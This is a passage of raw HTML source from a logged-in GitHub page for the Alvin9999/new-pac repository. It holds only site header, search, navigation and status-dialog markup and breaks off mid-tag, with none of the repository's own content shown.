href="https://github.com/Alvin9999/new-pac/commits/master.atom" rel="alternate" title="Recent Commits to new-pac:master" type="application/atom+xml"> <meta name="go-import" content="github.com/Alvin9999/new-pac git https://github.com/Alvin9999/new-pac.git"> <meta name="octolytics-dimension-user_id" content="12132898" /><meta name="octolytics-dimension-user_login" content="Alvin9999" /><meta name="octolytics-dimension-repository_id" content="54544023" /><meta name="octolytics-dimension-repository_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="54544023" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="icon" type="image/x-icon" class="js-site-favicon" href="https://github.githubassets.com/favicon.ico"> <meta name="theme-color" content="#1e2327"> <meta name="u2f-support" content="true"> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive min-width-0"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" tabindex="1" class="p-3 bg-blue text-white show-on-focus js-skip-to-content">Skip to content</a> <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div> <header class="Header js-details-container Details f5" role="banner"> <div class="d-lg-flex p-responsive flex-justify-between px-3 "> <div class="d-flex flex-justify-between flex-items-center"> <div class="d-none d-lg-block"> <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo"> <svg height="32" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> </div> <button class="btn-link mt-1 js-details-target d-lg-none" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars notification-indicator" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"/></svg> </button> <div class="d-lg-none css-truncate css-truncate-target width-fit px-3"> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <strong><a class="text-white" href="/Alvin9999">Alvin9999</a></strong> / <strong><a class="text-white" href="/Alvin9999/new-pac">new-pac</a></strong> </div> <div class="d-flex d-lg-none"> <div> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </div> </div> </div> <div class="HeaderMenu d-lg-flex flex-justify-between flex-auto"> <nav class="d-lg-flex" aria-label="Global"> <div class="py-3 py-lg-0"> <div class="header-search scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" data-scope-type="Repository" data-scope-id="54544023" data-scoped-search-url="/Alvin9999/new-pac/search" data-unscoped-search-url="/search" action="/Alvin9999/new-pac/search" accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="✓" /> <label class="form-control header-search-wrapper header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations#csrf-token=FL2zGu0JiDlR80w7nUfjCOv/O+4Wj2wn1yymqMaAwwfxcDNw3Pt5jHw/ZZaE73Bf5Xb6QLkfLjF8po7ehDrb8w==" spellcheck="false" autocomplete="off" > <input type="hidden" class="js-site-search-type-field" name="type" > <img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash"> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="text-gray">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <img src="https://github.githubassets.com/images/spinners/octocat-spinner-128.gif" alt="Octocat Spinner Icon" class="m-2" width="28"> </li> </ul> </div> </label> </form> </div> </div> </div> <ul class="d-lg-flex pl-lg-2 flex-items-center text-bold list-style-none"> <li class="d-lg-none"> <a class="HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull requests </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues"> Issues </a> </li> <li class="position-relative"> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-selected-links=" /marketplace" href="/marketplace"> Marketplace </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:explore" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore"> Explore </a> </li> </ul> </nav> <div class="d-lg-flex"> <ul class="user-nav d-lg-flex flex-items-center list-style-none" id="user-links"> <li class="dropdown"> <span class="d-none d-lg-block px-2"> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </span> </li> <li class="dropdown"> <details class="details-overlay details-reset d-none d-lg-flex px-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus float-left mr-1 mt-1" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5v2z"/></svg> <span class="dropdown-caret mt-1"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <div class="dropdown-divider"></div> <div class="dropdown-header"> <span title="Alvin9999/new-pac">This repository</span> </div> <a role="menuitem" class="dropdown-item" href="/Alvin9999/new-pac/issues/new" data-ga-click="Header, create new issue"> New issue </a> </details-menu> </details> </li> <li class="dropdown"> <a class="d-lg-none HeaderNavlink name tooltipped tooltipped-sw px-lg-2 py-2 py-lg-0" href="/p4g5" aria-label="View profile and more" aria-expanded="false" aria-haspopup="false"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="text-bold">p4g5</span> </a> <details class="details-overlay details-reset d-none d-lg-flex pl-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink name mt-1" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <div class="header-nav-current-user css-truncate"><a role="menuitem" class="no-underline user-profile-link px-3 pt-2 pb-2 mb-n2 mt-n1 d-block" href="/p4g5" data-ga-click="Header, go to profile, text:Signed in as">Signed in as <strong class="css-truncate-target">p4g5</strong></a></div> <div role="none" class="dropdown-divider"></div> <div class="px-3 f6 user-status-container js-user-status-context pb-1" data-url="/users/status?compact=1&link_mentions=0&truncate=1"> <div class="js-user-status-container user-status-compact" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link no-underline js-toggle-user-status-edit toggle-user-status-edit width-full" aria-haspopup="dialog" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":12132898,"target":"EDIT_USER_STATUS","user_id":47923458,"client_id":"1815209117.1550905425","originating_request_id":"818C:75AC:15C5D83:291B1C2:5C7218B8","originating_url":"https://github.com/Alvin9999/new-pac/wiki"}}" data-hydro-click-hmac="ced5050557a7bdc853d992aa928100040ac79be23fc4cb6ea21f7760d65c248f"> <div class="f6 d-inline-block v-align-middle user-status-emoji-only-header pl-0 circle lh-condensed user-status-header " style="max-width: 29px"> <div class="user-status-emoji-container flex-shrink-0 mr-1"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </div> </div> <div class="d-inline-block v-align-middle user-status-message-wrapper f6 lh-condensed ws-normal pt-1"> <span class="link-gray">Set your status</span> </div> </summary> <details-dialog class="details-dialog rounded-1 anim-fade-in fast Box Box--overlay" role="dialog" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" action="/users/status?compact=1&link_mentions=0&truncate=1" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="authenticity_token" value="UhUocX8QxRCQfi0VVq50V8DOQgt0VtegaH303QE9m8PCCEjaixc+T4i9Uc+Hu37cMb2xXx4TolEIzX4hl4y0uw==" /> <div class="Box-header bg-gray border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <h3 class="Box-title f5 text-bold text-gray-dark">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 text-gray-dark"> <div class="js-characters-remaining-container js-suggester-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button type="button" aria-label="Choose an emoji" class="btn-outline btn js-toggle-user-status-emoji-picker bg-white btn-open-emoji-picker"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </span> </button> </span> <input type="text" autocomplete="off" autofocus data-maxlength="80" class="js-suggester-field d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" required value="" aria-label="What is your current status?"> <div class="error">Could not update your status, please try again.</div> </div> <div class="suggester-container"> <div class="suggester js-suggester js-navigation-container" data-url="/autocomplete/user-suggestions" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions" hidden> </div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-true" id="limited-availability-truncate-true"> <label class="d-block f5 text-gray-dark mb-1" for="limited-availability-truncate-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div role="none" class="dropdown-divider"></div> <a role="menuitem" 